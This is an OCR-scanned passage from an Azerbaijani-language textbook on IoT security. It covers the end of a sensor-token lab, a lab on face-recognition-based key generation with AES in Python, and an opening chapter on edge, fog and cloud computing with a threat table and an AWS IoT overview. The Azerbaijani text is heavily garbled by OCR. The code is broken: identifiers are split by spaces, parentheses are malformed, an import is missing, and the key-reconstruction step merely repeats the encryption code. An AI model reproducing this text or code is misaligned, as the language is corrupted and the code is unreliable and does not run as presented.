oOtiirtilmasini tomin edin.

e Forqli sensorlar iigiin forgli shared secret agarlar1 miioyyon edin vo qabul edici torofds
onlar1 sensor_id osasinda ayird etmo mexanizmi qurun.

e Tokeni 3-cii torof torafindon saxlanib tokrar géndorildikds sistemin cavabini sanadlosdirin
(allo replay hiicumu).

e Tokenin tokco dogrulanmasi ilo deyil, hom do unikal ID ils loglasdirilmasini tomin edin
(gbndorilon mesajlar sistemds arxivlonsin).

e Koddatoken lifetime doyiseni ilo oynayaraq miixtolif tohliikesizlik saviyyalerini sinaqdan
kecirin (masalon: 30s, 60s, 120s).

e Sensor node-lardan biri kompromis olduqda digar sensorlara neca tosir etdiyini analiz edin.
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e Server torafindo sads “alert” mexanizmi qurun ki, agar bir sensor 5 dofs ardicil yanlig token
gondararso xobardarliq versin.

e Golocokds qrup agarlari ilo token generasiyasini neco inteqrasiya edo bilocoyinizi miizakirs
edin vo sads konseptual kod yazin.

e Token strukturuna slavo molumatlar daxil edin (masalon: location vo ya sensor novii) vo
bu saholorin do HMAC-Is imzalanmasini tomin edin.

e Tokenin saxlanma iisulunu doyisdirorak Redis vo ya fayl sistemi ilo uygunlagdirilmis
versiyasini test edin.

e Python-da logging modulundan istifads etmaoklos biitiin dogrulama naticalarini auth.log adli
fayla yazdirin.

4.4.3. Uz Tamima 9sash Biometrik Kriptoqrafik Sistem

Qeyd: Bu laboratoriya igi Sumqayit Doviat Universitetinin magistratura talobasi Magqsudov Nihad
Nicat oglu torafindon tadgiqat isinin bir hissasi olaraq hazirlanmis va bu kitaba téhfa olaraq
tagdim edilmisdir. Nihad Magsudov, iiz tanima texnologiyast ila biometrik asasl kriptografiya
mexanizminin praktiki tatbiqini ugurla sinaqdan kegirmis, sistemin qurulmasi, test edilmasi va
naticalorin tohlili marhalalorinda miiallifo doyarli dastok gostormisdir.

Moagqsad

Bu praktiki isin moqsadi, iz tamima texnologiyasi ilo biometrik
identifikasiyan1 kriptoqrafiya ilo birlosdirorok tohliikesiz molumat 6tiiriilmasi
sisteminin yaradilmasi vo test edilmosidir. Tacriibo naticasindo oxucu hom biometrik
autentifikasiya, hom do AES sifrolomo metodologiyasini {iz tanima ilo birgo totbiq
etmoyi Oyronir.

Talablar:

« Jetson Nano va ya Raspberry Pi

o Ubuntu omoaliyyat sistemi vo ya uygun Linux miihiti

o Python 3.8 vo ya daha yeni versiya

o Web kamera (Jetson Nano vo ya Raspberry Pi-do CSI/USB kamera)

« Program tominati vo kitabxanalar:
o sudo apt update && sudo apt install python3-opencv

python3-pip -y
o pip3 install face_recognition dlib numpy pycryptodome

v" Addim 1 — Uz Tamima va Moalumatlarin Yigilmasi
Burada iizo aid numerik vektor ¢ixarilir ki, bu, daha sonra sifrolomo agarimin
generasiyasi iigiin istifado edilocok. (capture face.py).

e import cv2

e def capture face():

. cap = cv2.VideoCapture (0)

o ret, frame = cap.read()

o cv2.imwrite ("captured face.jpg", frame)
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cap.release()
return "captured face.jpg"

v Addim 2 - Uz Xiisusiyyoatlorinin Cixarilmasi

Burada {izo aid numerik vektor ¢ixarilir ki, bu, daha sonra sifrolomo agarinin

generasiyast ti¢iin istifads edilocok. (extract face.py).

import face_recognition
import numpy as np

def extract features(image path):
image = face recognition.load image file(image_ path)
encodings = face_recognition.face_ encodings (image)
return np.array (encodings[0]) if encodings else None

v" Addim 3 — Biometrik Ac¢arin Yaradilmasi vo Fuzzy Commitment

Bu morhalods biometrik asasli random agar yaradilir vo "commitment" hash

ilo saxlanilir. Bu {isul sado Fuzzy Commitment Scheme mexanizmini simulyasiya
edir(key_generate.py).

import os
import hashlib

def generate key (features):
secret_key = os.urandom(32)
noise = np.random.normal (0, 0.01, size=features.shape)
combined = np.concatenate ((features + noise,
secret_key))
commitment = hashlib.sha256 (combined) .hexdigest ()
return secret_key, commitment

v' Addim 4 — AES ilo Malumatin Sifralonmasi va Desifra

Biometrik asasinda oldo edilmis agarla sistem molumati AES ilo sifraloyir vo

bu, molumatin integritetini vo moxfiliyini tomin edir (aes.py).

from Crypto.Cipher import AES
from Crypto.Random import get random bytes

def encrypt data(data, key):
cipher = AES.new(key, AES.MODE EAX)
nonce = cipher.nonce
ciphertext, tag =
cipher.encrypt and digest(data.encode())
return nonce, ciphertext, tag

def decrypt data(nonce, ciphertext, tag, key):
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o cipher = AES.new(key, AES.MODE EAX, nonce=nonce)
return cipher.decrypt and verify (ciphertext,
tag) .decode(()

v' Addim 5 — Osas Test Ssenarisi va A¢arin Rekonstruksiyasi

Burada, istifadoginin yeni ¢okilon iz gokli ilo avvalki commitment-a uygun
acar rekonstruksiya olunur. Ogor ugurlu olarsa, molumat desifro edilir
(match_key.py).

¢ from Crypto.Cipher import AES

e from Crypto.Random import get random bytes

[ ]

e def encrypt data(data, key):

o cipher = AES.new(key, AES.MODE EAX)

) nonce = cipher.nonce

o ciphertext, tag =
cipher.encrypt and digest(data.encode())

) return nonce, ciphertext, tag

[ ]

¢ def decrypt data(nonce, ciphertext, tag, key):

o cipher = AES.new(key, AES.MODE EAX, nonce=nonce)

. return cipher.decrypt and verify (ciphertext,
tag) .decode(()

v Notica

Bu laboratoriya, biometrik autentifikasiyanin kriptoqrafiya ilo neco
inteqrasiya edilo bilocoyini niimayis etdirir. Fuzzy Commitment kimi texnikalar real
sistemlordo fordi acarsiz autentifikasiya imkanlar1 yaratmaq tigiin perspektivlidir.
Sadolosdirilmis yanasma olmasma baxmayaraq, iz tanima vo AES kimi
texnologiyalar bu laboratoriyada effektiv sokildo birlogdirilmisdir.

v' 9lava Gostarislor vo Siaqlar

e Eyni soxsin miixtalif gokillori il test edin (is1q, bucaq forqlori).

e Forqli soxslorlo testi aparin — agarin sohv rekonstruksiya olunmadigini
yoxlayin.

e icra miiddotini 6l¢iin — har funksiyanin is vaxti.
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v' Tapsiriqlar

Uz encodings vektorunun dl¢iisiinii va tohliikesizlik baximindan rolunu tohlil edin.

Iki farqli soxsin iiziinii sistema toqdim etdikdo acarin rekonstruksiyasimin ugursuz olmasini
test edin.

Biometrik molumatlar doyisorsa (gozliik, sag, is1q), sistemin davranisini izloyin.

AES sifrolomasindo EAX rejimi avozino GCM rejimini istifads edin vo naticoni miigayiso
edin.

Commitment molumatini lokal .txt faylda saxlayin vo onun idarasini tomin edin.

Fuzzy Commitment mexanizmini sohv diizoldon kodlarla tokmillosdirin.

GUI interfeys yaradin va sifrolomo prosesini vizual gostorin.

Jetson Nano iizerindo sistemi test edin — performans naticalarini geyd edin.

Webcam avazins statik sokil bazasi istifads edin vo forqli ssenarilori sinayin.

Golacokds bu sistem loT-based smart lock sistemlarine neca totbiq oluna bilor?
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5. 10T va Bulud Tohliikasizliyi

5.1. Giris

Ogyalarin Interneti (IoT) uc noqtolorinin genis miqyasda genislonmosini
tomin edir. Bu, bir neco miixtolif cohotdon ¢otinlik yaradir. Konar hesablama (edge
computing), homg¢inin duman hesablama (fog computing) kimi do taninan
texnologiya, asason Sonaye Osyalarin Interneti (IIoT) sahosindo totbiq edilmisdir.
Bu struktur hesablama morkozlorindon (bulud serverlorindon) forqli olaraqg, uc
noqtalori (mosalon, sensorlar, kameralar vo s.) vo yerli serverlori istifado edorok
molumatlarin toplanmasi, saxlanmasi vo emalini hoyata kegirir (Sokil 5.1).

Informasiya yeni yanacaq monboyi kimi miiasir vo miirokkob idaroetma
sistemlorini giiclondirir. Malumatin hazirlanmasi1 vo koskin konar hesablama
imkanlarinin yaradilmasi hor bir togkilat ticlin vacibdir. Molumatin daxili vo ya xarici
monbadon oldo edilmasindon asili olmayaraq, onun uygun sokildo toplanmasi,
otiirtilmosi, tomizlonmoasi vo konar hesablama ¢orgivosindo emali miihiim shomiyyot
dastyir. Molumatin tohlili iigiin miixtolif elmi texnikalar vo masin Gyronmosi
metodlarindan istifads olunur ki, bu da daha doqiq arasdirmalar aparmaga imkan
Verir.

Molumatin idaro olunmasi {i¢iin togkilatlar ciddi elmi vo texnoloji
arasdirmalar aparmalidir. Coxsayl1 vo kompleks informasiyanin emal olunmasi li¢iin
giicli molumat qeydiyyati, sistem c¢orgivosi vo strukturlagdirilmis saxlama
mexanizmind ehtiyac var. Bundan olavo, molumat miibadilosinin daimi vo agilli
sokildo aparilmasi osas mogamlardan biridir. Bu yanasma fordi vo icma osash
totbiglor liciin effektiv hollor tomin edir.

Bulud hesablama (cloud computing) veb lizorindon uzaq serverlorin vo ya
kompiiterlorin istifadoesini nozordo tutur ki, bu da hesablama proseslorini yerli
kompiiter vo ya server avozino buludda icra etmoyo imkan verir. Bulud hesablama
osason molumat saxlama, totbiq idaroetmasi vo optimallagdirma ticiin istifado olunur.
Bu texnologiya morkozlosdirilmis vo ya paylanmis hesablama modelino asaslanir vo
sistemin {imumi foaliyyatini yaxsilasdirir.

Duman hesablama iso molumatin morkozlosdirilmis hesablama ndqtalorindo
deyil, lokal saviyyads emal olunmasini tomin edon texnologiyadir. Bu, uc hesablama
(edge computing) ilo six alagoalidir. Masalon, agilli nogliyyat sistemlorinds istifado
edilon sensorlar vo cihazlar molumati toplayir, onu duman hesablama sistemlori
vasitasilo analiz edir vo morkozi servera géndorir.

Cisco torafindon toqdim edilon “fog computing” anlayisi [oT sahasindo genis
imkanlar yaradir. Bulud hesablama kimi, duman hesablama da molumatlarin idars
edilmosi vo saxlanmasi ilo bagli xidmotlor toklif edir. Mist registrasiya (mist
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registering) konsepti cihazlarin hesablama giiciinii artirmaga vo yerli soviyyads
molumat emalin1 tomin etmayas imkan verir.

Duman hesablama, sistemin konar hissasindo molumatin emalin1 yerino
yetirorok paylanmis hesablama ¢or¢ivosini tokmillogdirmoys imkan verir. Bu
yanagma, asason, konar hesablama ilo olagolidir vo bulud sistemlorinin {izorindo
olava yiik yaratmadan yerli hesablama proseslorini optimallagdirmaga komok edir.

Nogliyyat, aerokosmik texnologiyalar vo agilli fabriklor kimi saholords
duman vo konar hesablama bdyik rol oynayir. Masolon, agilli naqgliyyat
sistemlorindo sensorlar real vaxt rejimindo molumat toplayir vo tohlil edir, bu da
tohliikasizliyi vo somoraliliyi artirir.

Cloud data center

Cloud
Fog _ ;}‘ N }
N . e > .i. N — -~
Terminal &£ 8 L2 8 & £ 3
£ - £ = £ =

Sakil 5.1. Bulud vo Duman hesablama arxitekturasi

Qosulmus cihazlar molumat gondorir vo alir, homg¢inin yaxinligdaki bir
morkoza (hub) istigamatlor verir. Bu morkoz, adoton, miiossiso daxilinds qurasdirilir.
Masolon, bu, alavo emal vo idaroetmo gabiliyyatlorine malik keg¢id qurgusu (switch)
ola bilor. Belo morkozlor daxil olan molumati gobul edir, emal edir vo miivafiq
cavablar verir.

IT sistemlorinin inkisafi ilo miixtolif qurgularin bir-biri ilo uygunlasmasi
mosalasi 6n plana ¢ixir. Miixtolif sistemlor arasinda uygunlugun olmamasi, yeni
texnologiyalarin genis totbiqini longids bilor.

Ac¢iq Hesablama Konsorsiumu 2015-ci ildo yaradilmigdir vo Cisco, ARM,
Dell vo Microsoft kimi sirkatlor torafindon dastoklonir. Bu konsorsium, hesablama
arxitekturasinin tortib olunmasinda osas standartlari vo on yaxsi tocriibalori
miuoyyanlasdirir. Cox giiman ki, onlar sonaye iizro vahid standartlarin vo sistemlorin
gobul edilmasina tokan veracoklor.
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Boazi miiassisalar va totbiglor var ki, yalniz malumat o6tiirmak kifayst etmir.
Xiisusilo, uzaq yerlordo vo ya peyk rabitesi kimi yiiksok xorcli Otiirma
texnologiyalarinda adi sistemlor bu ehtiyaclar1 qargilamar.

Bu sababdon daha siiratli, daha az xarcli vo daha somarsli yanagmalara ehtiyac
var. Adaton, mdvcud tisul belo olur: molumati topla, emal {i¢iin bulud sistemloring
gondar vo orada istifado et.

Moshz burada konar hesablama texnologiyasinin ohomiyyati artir. ©Ogor
molumat qurgularin yaxmliginda yaradilirsa, niys onu miimkiin godar manbaya
yaxin emal etmoyok? Belo bir yanagsma gecikmoni azaldir, malumatin emalin1 daha
somarali va tohliikasiz edir.

Konar hesablama sistemlori buludda aparilan analitik hesablama ilo
miiqayisado asagidaki tistiinliiklors malikdir:

o Xisusi aldo edilmis, hocmi kigik vo asag1 gecikmoya malik molumat toplusu
yaradir. Bu molumatlar adaton sensorlar torafindon yaradilir.

o I0T cihazlarmin tolablorine uygun daha optimallagdirilmis hesablama
sistemlori toklif edir.

« Daha az prosessor paralelliyi tolob edir vo cihazlarin mohdud resurslarindan
somorali istifado edir.

o Cox ylksok siirotlo hesablama aparir, miirokkob tapsiriglar {i¢lin, masalon,
sokil, video vo sas tanima kimi dorin dyronmo proseslorini yerino yetirmok
liclin uygundur.

« Daha sado molumat emal modellori lizorindo qurulur, ¢linki masin dyronmasi
vo slini intellekt osasli proseslor konkret cihazlarin toloblorine uygunlagdirilir.

o Modullagdirilmis avadanliq soklindo hazirlana bilor vo miixtolif hesablama
ehtiyaclarina uygunlasdirila bilor.

o Daha az miirokkob sistemlordon ibarat olur vo molumatlarin daha somorali
idars edilmasino imkan yaradir.

« Asagi otiirmo gabiliyyotino malik sobokolords asanligla isloyo bilor.

Konar hesablama, molumatlarin IoT cihazlarinin 6ziinds vo ya yaxinliginda
emal edilmosini nozordo tutur. Bu metod, gecikmoni azaldir, hesablama yiikiinii
bulud serverlorindon ¢ixarir vo molumatin daha tohliikesiz vo effektiv islonmasini
tomin edir.

Boeing 787 toyyarasi hor ugus saatinda 40 TB hocmindo molumat yaradir,
lakin bu molumatin yalniz kigik bir hissasi analiz vo saxlanma ii¢iin serverlora
gondorilir. Eyni zamanda, bdyilik sohorlordo saatda toxminon 10 GB molumat
yaradilir, lakin yalniz 1 GB-1 serverloro 6tiiriiliir. Bu sabobdon, molumatin emalini
yalniz morkazi bulud serverlarino géndormok praktiki olaraq miimkiin deyil. Bunun
ovozing, konar hesablama metodlart moalumati monboyo daha yaxin emal etmoklo
daha somaorali hallor togdim edir.

Bulud va konar hesablama modellari forgli hesablama taloblorini garsilayir vo
IoT cihazlariin inkisafi ilo bu metodlarin 6nomi daha da artir. IoT cihazlar ¢oxlu
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molumat yaradir (loquacious devices), bu malumatlarin saxlanmasi, analizi vo emali
liclin yeni metodlar tolob olunur. Ononovi bulud sistemlori molumatin markozi
serverlorde emal olunmasina asaslanirdi. Lakin [oT cihazlarinin saymin artmasi ilo
bu yanasma artiq effektiv deyil vo molumat emali proseslari manboya daha yaxin
aparilmalidir.

5.2. IoT iiciin Bulud Tahliikasizliyi

Bu bolimde bulud xidmatlori vo tohliikesizlik arxitekturalar1 haqqinda
molumat verilocok. Bu arxitekturalar Osyalarin Interneti (IoT) texnologiyasini
dostoklomok ti¢ilin hazirlanmisdir. Bulud xidmatlori vo tohliikoesizlik iizro on yaxsi
tocriibolordon istifado etmoklo, toskilatlar miixtolif saholordo vo ¢oxdomenli IoT
totbiglorini idara eds bilorlor.

Bu boliimdos Amazon Web Services (AWS) bulud xidmatlori vo tohliikesizlik
hallari, Cisco torafindon togdim edilon komponentlor (Fog Computing) vo Microsoft
Azure xidmotlori nozordon kegirilocokdir.

Bulud vo onun tohliikesizliyi, [oT iigiin ohomiyyatli molumatlarin idaro
olunmasi vo qorunmasini tolob edon miihiim amillordon biridir. Bu béliimds IoT
molumatlarinin saxlanmasi, analizi vo hesabat sistemlori ilo yanasi, bu xidmatlorin
neco tohliikosiz hala gotirilmasi liglin on yaxs1 tocriibolor miizakirs edilocok. IoT-un
buluddaki tohliikosizliyini tomin etmok iiglin hom miistorinin, hom do bulud
provayderinin mosuliyyatlorini miioyyan etmok vacibdir.

B2B (Biznesdon-Bizneso), istehlak¢1 vo sonaye IoT totbiqlorindo heg¢ bir
texnologiya bulud osasli IoT xidmaotlori godor cihazlari, molumatlar1 vo toskilatlari
bir araya gotiro bilmir. Ke¢id qurgular1 (gateway), totbiglor, protokol idarsedicilori,
analitik sistemlor vo biznes intellekti komponentlori rahatliq, iqtisadi somoralilik vo
miqyaslanma imkanlarma goéro buludda yerlosdirilir. Milyardlarla IoT cihazina
dostok vermok {i¢iin bulud asasli xidmotlor yeni vo kohno sirkotlor iigiin on uygun
miihitlordon birini tomin edir.

Bulud xidmot provayderlori (CSP) IoT mohsullarint daha tohliikasiz sokildo
buluda qosmaq tigiin yeni funksiyalar vo xidmotlor toqdim edir. IoT inkisaf
etdiricilori tigiin bulud asasl baslangic dostlori togdim olunur ki, bu da sirkstlorin
IoT cihazlarini minimal soylo buludda yerlogsdirmosini asanlasdirir. Lakin, toskilatlar
bu xidmatlorin tohliikosizlik nazarstlorini doyarlondirorok, onlara etibar etmozdon
ovval ehtiyath davranmalidirlar.

Moasalon, ARM, Freescale vo IBM birgo calisaraq buluda uygunlasdiriimis
[oT baslangic dosti hazirlayib. Bu dost avtomatik olaraq sensor molumatlarini
internet iizorindon veb-sayta Otiiron mikroidaroetmo qurgusu (MCU) ilo tomin
olunub. Bu dostin osas moqsadi I[oT hollorinin buludla asan inteqrasiyasini
Oyrotmokdir.

Lakin, IoT totbiqlorini real miihitds yerlosdirmok, nazoriyyadon forqli olaraq
daha ciddi tohliikasizlik tadbirlarini talob edir.
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Bu bolma IoT sistemlorini dostokloyon asas bulud xidmatlori haqqinda
miizakira toqdim edir. Miixtalif saholordo milyonlarla IoT cihazi yerlosdirmak
istoyan togkilatlar ti¢iin bulud sistemlori on optimal idaroetmo miihiti kimi ¢ixis edir.

Bundan olavoe, bulud provayderlori cihazlarin aktivlesdirilmosi, program
tominatinin yenilonmasi va konfiqurasiyasinin idara edilmasi ti¢iin alava xidmatlor
togdim edir.

[oT cihazlarmin funksional vo tohliikesizlik vaziyyastine birbasa tosir etdiyi
ticlin bu xidmatlorin tohliikasizliyi kritik shamiyyat kasb edir.

Hiicumcular 10T sistemlorinin zoifliklorindon istifado etmoyo cohd gostors
bilar vo bulud asasli [oT hallarinds boyiik miqyaslh doyisikliklor etmak imkanini alda
edo bilorlor. Bu sobabdon, IoT tohliikasizlik nazaratlori hor bir moarholoda ciddi
sokilds totbiq edilmalidir.

o IoT iiciin xidmot tominati, hesablasma va icazo idaraetmosi

Bu, IoT cihaz istehsal¢ilarinin 6z cihazlarini xidmat kimi toqdim etmasi ilo
bagli maraql bir totbiq sahasidir. Bu proses cihazlarin istifadosine icazo vermok vo
ya icazoni logv etmok, istifadoni izlomok vo istifado hocmino uygun olaraq 6domo
sistemlorini qurmagq talab edir.

Buna misal olaraq kamera vo digor sensor osasli monitoring xidmaotlori
(masalon, DropCam bulud yaddasi), agilli geyils bilon qurgularin (mosslon, FitBit
cthazlar1) izlonmaosi vo izlomo xidmatlori gostarilo bilor.

o Real vaxtda monitorinq

Bulud osasli totbiglor, fovgolado hallar idaroetmosi, sonaye nozaroti vo
istehsalat sistemlori kimi kritik saholords real vaxt rejimindo monitorinqg imkani
togdim edo bilor.

Miiossisolor getdikco daha c¢ox sonaye nozarot sistemlorini, monitoring
proseslorini vo digor funksiyalar1 bulud miihitino dasiyir. Bu addim omoliyyat
xorclorini azaldir, molumatlarin olgatanligim1 artiir vo yeni B2B vo B2C
xidmotlorine imkan yaradir.

[oT qurgularinin sayr artdiqca, proqramlasdirila bilon loqika nozaratgilori
(PLC) vo uzaqdan terminal vahidlori (RTU) kimi qurgularin buluda birbasa
gosulmas1 daha genis yayilacaq. Bu iso sistemlorin daha effektiv vo somorali
monitoringine dastok veracokdir.

o Sensor koordinasiyasi

Cihazdan cihaza (M2M) molumat otiirtilmasi IoT qurgularinin avtomatik
qarsiligl alagasini vo xidmot koordinasiyasini tomin edir.

Zaman kec¢dikco, is axinlar1 daha ¢ox avtomatlasdirilacaq, belolikla, insan
faktorunun dovriyyadon ¢ixmasi tomin edilocok. Bulud, bu avtomatlasdirilmis
proseslar iigiin morkozi bir rol oynayacaqdir.
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Masalon, bulud xidmoetlori 10T cihazlarinin  yeni  molumatlari,
mohdudiyyatlori va tolimatlari sorgulaya bilocoyi yeni mexanizmlor togdim edoacak.

Bundan slave, MQTT vo RESTful API-lar kimi protokollar, IoT totbiglarinin
avtomatik alagalondirilmasindas istifads olunacag.

o Miistori analitikas1 vo marketinq

[oT-un giiclii xilisusiyyotlorindon biri mistori  yOniimlii marketing
strategiyalarini inkisaf etdirmok imkanina sahib olmasidir.

Salesforce sirkoti IoT bulud platformas1 yaradaraq mayaklar (beacons) vo
digar agilli qurgular vasitasilo miistorilori izloma mexanizmini totbiq edib.

Bulud asasli bu sistem, miistoriyo avtomatik bildirislor gondormoys vo ya satis
heyating signal vermoys imkan yaradir.

Yero uygun reklamlar (location-based advertising) bunun bir niimunasidir.

Masolon, miistorilor magaza vo ya ticarst morkozindo gozorkon, onlarin alis
vardislari va se¢imlori tohlil olunaraq fordi mesajlar gondarila bilar.

Lakin, bu tip izloms sistemlorinin soxsi malumat tohliikasizliyi baximindan
risklorini nozore almaq lazimdir.

Bundan olavo, IoT molumatlar1 enerji somaraliliyini artirmagq tigiin do istifado
edilo bilar.

Masolon, agilli moisot cihazlari enerji istehlakini bulud vasitasilo 1zloyorok,
real vaxtda idaroetmo imkanlar1 yarada bilor. Istifadagilar enerji giymatlorine uygun
olaraq, istifado vordislorini tonzimloyo bilorlor, bu da hom xorcin azaldilmasina, hom
do ekoloji tosirin minimuma endirilmosino komok edor.

o MBalumat miibadilasi

[oT-un osas istiinliiklorindon biri molumatin miixtolif maraqli toroflor
arasinda paylasilmasi imkanidir. Masalon, badons implantasiya olunmus tibbi qurgu
molumatlari tibbi miiossisoyo gondoro bilor vo bu miiossiso molumatlar1 sigorta
sirkatlori ilo paylasa bilor. IoT molumatlarinin effektiv paylasilmasi giiclii IoT
analitik sistemlorinin yaradilmasi iigiin vacib sortdir.

Bununla yanasi, [oT totbiqlori asason “publish/subscribe” modelino asaslanan
molumat 6tlirmo protokollari tizorindo qurulub.

Bu ciir xidmotlor B2B, B2I vo B2C toatbiglori iig¢iin miihiim ohomiyyat kosb
edir.

o Mesajlarin otiirillmasi vo yayimi

Bulud, morkozlosdirilmis, elastik vo uygunlasa bilon imkanlar1 ilo boyiik
miqyash [oT mesaj 6tiirma xidmatlori tigiin ideal miihitdir.

Bulud xidmotlori HTTP, MQTT vo digor protokollar1 dastokloyir ki, bu da
molumatlarin naql edilmasi, yayilmasi, yazilmasi vo oxunmasi ii¢iin istifads olunur.

[oT-un an boyiik problemlorindan biri malumat miqyasinin idars edilmosidir.
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Bu sobabdon, IoT sistemlori bulud arxitekturasinin ¢evik genislonmao
imkanlarina ehtiyac duyur.

Buludun elastik miqyaslanma imkanlari, boyiiyan tolablors uygun xidmaot
gostormak ti¢iin vacib rol oynayir.

o Bulud baximindan IoT tohliikalorinin tohlili
Bulud ssasli infrastruktur tigiin nozords tutulan bir ¢ox tohliike, digor geyri-
bulud IT sistemlorina edilon hiicumlarla oxsarliq toskil edir. Asagidaki codvaldo IoT

tohliikalari va hiicum noévlari ilo bagh osas sahslor togdim olunur:

Cadval 5.1. 1oT taohliikalaori vo hiicum novlori

Tohliika Sahasi Hoadaflar/Hiicumlar
Bulud sisteminin Administrator  hesablarimin  ogurlanmas1  vd
administratorlar: vo istismary: Sifrolorin, autentifikasiya tokenlorinin vo
istifadacilori SSH agarlarinin olo kecirilmasi, bu vasito ilo virtual

xtisusi bulud (VPC) miihitlorino miidaxilo edilmasi
(masolon, AWS root hesabinin alo kegirilmaosi).
Brauzer vasitasilo  kross-sayt skript (XSS)
hiicumlar: istifadocilorin vo menecerlorin cihazlarina
hiicum.

Zororli fayllar (JavaScript oJsash hiicumlar):
Brauzerlor vo e-pogt alavalori vasitosilo administrator
hiiquglarma  sahib  cihazlara zororli  kodlarin
yeridilmaosi.

Virtual Uc Noqtalori | VM va konteyner bosluqglari: Virtual masinlarda vo
(VM-lar, konteynerlar) | konteynerlords olan zaifliklordon istifads.

Veb tatbigetmo zoifliklori: IoT sistemlorinin veb
totbiglorino edilon hiicumlar.

Tohliikasiz olmayan IoT sliizlori: IoT cihazlarini
buluda baglayan sliizlorin zoifliklorindon istifado.
Tohliikasiz  olmayan IoT  brokerlari: [oT
molumatlarinin  Otiiriilmoasini  idaro edon vasitogi
serverlords olan bosluglar.

Yanhs konfiqurasiya edilmis veb serverlor:
Tohliikosizlik  parametrlori  diizgiin  qurulmamis
serverlar.

Z,5if verilonlor bazalarr: SQL injection vo digor kod
yeridilmosi hiicumlar1 ilo hodof alinan sistemlor,
diizgiin autentifikasiya edilmomis verilonlor bazalari.
Saboka Hiicumlari Virtual saboka komponentlorino hiicumlar: Soboko
xidmatlorinin zaif ndqtalori lizorindon hiicumlar.
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Xidmatin dayandirilmasi (Denial of Service - DoS)
hiicumlari: Soboko vo cihaz resurslarini hoddindon
artiq istifade edorok xidmeti dayandirmaga yonolmis
hiicumlar.

IoT cihazlarima edilon
fiziki vo mantiqi
hiicumlar

Tohliikasiz olmayan IoT giris noqtalori: IoT
cthazlarinin  tohliikkesiz  olmayan interfeyslorindon
istifado.

Mbolumat trafikinin doyisdirilmasi vo ogurlanmast:
Sobokado gondorilon molumatlarin  manipulyasiya
edilmosi.

IoT cihazlarinin autentifikasiya sistemlorinin
zaifliyi: Cihazlarin saxta autentifikasiyadan istifado
edorok sistemlors girig oldo etmaosi.

Sifrlamanin olmamasi va ya zaif sifrlomo metodlarr:
IoT cihazlar1 va bulud arasinda otiirtilon malumatlarin
gorunmamasl.

Yanhs autentifikasiya \C) avtorizasiya
mexanizmlari: IoT cihazlarinin vo sistemlorinin zoif
autentifikasiya sistemlorindon istifado etmasi.

IoT cihazlarimn ogurlanmasi: Fiziki hiicumlar
noticosindo cihazlarin ogurlanmasi1 vo tohliikasizlik
molumatlarinin sizmasi.

o Bulud tohliikasizliyindd iitmumi risklor

Yuxarida sadalanan tohliikolor, bulud infrastrukturunun qorunmas {i¢iin hall
olunmali asas mévzulardan yalniz bir hissosidir.

Boytik bulud provayderlori (AWS, Azure, Google Cloud va s.) bu tohdidlorin
oksoriyyatino qars1 miixtolif tohliikesizlik todbirlori togdim edirlor. Ancaq, bulud
tominatgilarinin togdim etdiyi miidafio mexanizmlori bazi hallarda kifayat etmir. loT
sistemlorinin tam tohliikosizliyini tomin etmok {i¢iin cihaz istehsalgilar1 vo sistem
administratorlar alavo qoruyucu todbirlor gérmolidirlor.

Bulud asasli tohliikasizlik hallarinin ustiinliklori:

« Bulud xidmatlori, miiossisalor ii¢lin yerli tohliikasizlik hallorindon daha genis
vo kompleks miidafio mexanizmlori toklif eds bilor.

« Infrastruktur-xidmot

(TaaS)  modeli, sirkotlorin 6z  tohliikosizlik

strategiyalarini effektiv sokilds totbiq etmasino komak edo bilar.
o Avtomatlasdirilmis bulud tohliikasizlik alatlori, IoT sistemlarindoki zaifliklori
askarlamaga vo aradan galdirmaga imkan yaradir.
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5.3. Bulud Xidmat Tominatcilarimin IoT Takliflarinin
Arasdirilmast

Bulud asasli tohliikasizlik xidmatlori, tohliikasizlik-xidmat-kimi (Security-as-
a-Service - SECaaS) adlanir vo bu giin siiratlo inkisaf edon bulud asasli biznes
modellorindon biridir. Bu xidmoatlor IoT sistemlorini dostoklomok ii¢iin olduqca
uygundur.

SECaaS hallori yalniz miqyaslana bilon xidmatlor tagdim etmir, hom do
toskilatlarin  miihondis resurslarinin  mohdud oldugu hallarda tohliikosizlik
todbirlorini totbiq etmosino komak edir.

Bir ¢ox sirkat tohliikesizlik inteqrasiyasi, yeni tohliikolora garst miibariza,
tohliikasizlik arxitekturasinin qurulmasi vo monitoring aparmaq ti¢iin kifayot qodor
insan vo texniki bilikloro malik deyil. Bulud xidmot tominat¢ilari (CSP) bu
problemlora hall yollar1 taqdim edir.

5.3.1. AWS IoT

Amazon, bulud asasli [oT xidmatlorinds lider olmagq {i¢iin mévqgelonmisdir vo

bir ¢ox halda IoT sistemlari ligiin osas bulud xidmot tominatcis1 kimi ¢ixis edocokdir.
Amazon-un rosmi agiglamasi:
"AWS IoT - idars olunan bulud platformasidir va bagli cihazlarin tohliikesiz sokildo
bulud totbiqlori vo digor cihazlarla qarsiliqli slago qurmasina imkan yaradir. AWS
IoT milyardlarla cihazi vo trilyonlarla mesaj1 dostokloya bilir, hom¢inin bu mesajlar
AWS ug¢ noqtolorino vo digor cihazlara tohliikesiz vo etibarli sokildo yonlondirs
bilir." ( Attp://aws.amazon.com/iot/)

AWS IoT, Amazon-un IoT cihazlarinin miixtslif protokollar (HTTP, MQTT
va s.) vasitasilo buludla alago qurmasini tomin edon ¢orgivosidir.

Buluda qosulan IoT cihazlari, totbiq brokerlori vasitosilo bir-biri ilo vo digor
xidmaotlorlo iinsiyyot qura bilir. AWS IoT, digor Amazon xidmatlori ilo six
inteqrasiya olunur.

Masalon, AWS IoT asagidaki Amazon xidmatlori ilo birgs istifads edils bilor:

« Kinesis — real vaxt rejimindo molumat axini vo analitik masin

o Kinesis Firehose — molumatlar1 gobul edorok digor Amazon sistemlorino
yonlondiron platforma

« Simple Storage Service (S3) — molumatlarin saxlanmasi

« Redshift — verilonlor bazas1 vo yaddas xidmoti

« Amazon Elastic Search (ES) — bdylik hocmli verilonlor iizorindo axtaris
xidmati

« Amazon Glacier — uzunmiiddotli arxiv vo backup iigiin optimallagdirilmis
system
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Sakil 5.2. AWS IoT ekosistemi va is prinsipi

Buludda uygun moalumat platformasi1 quruldugdan sonra, Kinesis Streams va
Kinesis Analytics kimi xidmatlor istifado edilorok analitiklor aparila bilor (Sokil 5.2).

AWS IoT, IoT tatbiglori vo inkisaf proseslorini dostoklomok {i¢lin Amazon-
un digor xidmotlori ilo inteqrasiya olunur. Bu xidmotloro Amazon Lambda, Kinesis,
S3, CloudWatch, DynamoDB vo digor Amazon bulud xidmatlori daxildir.

AWS IoT-nin miixtolif sonaye saholorindo totbiqi genislonmokdodir. Masoalon,
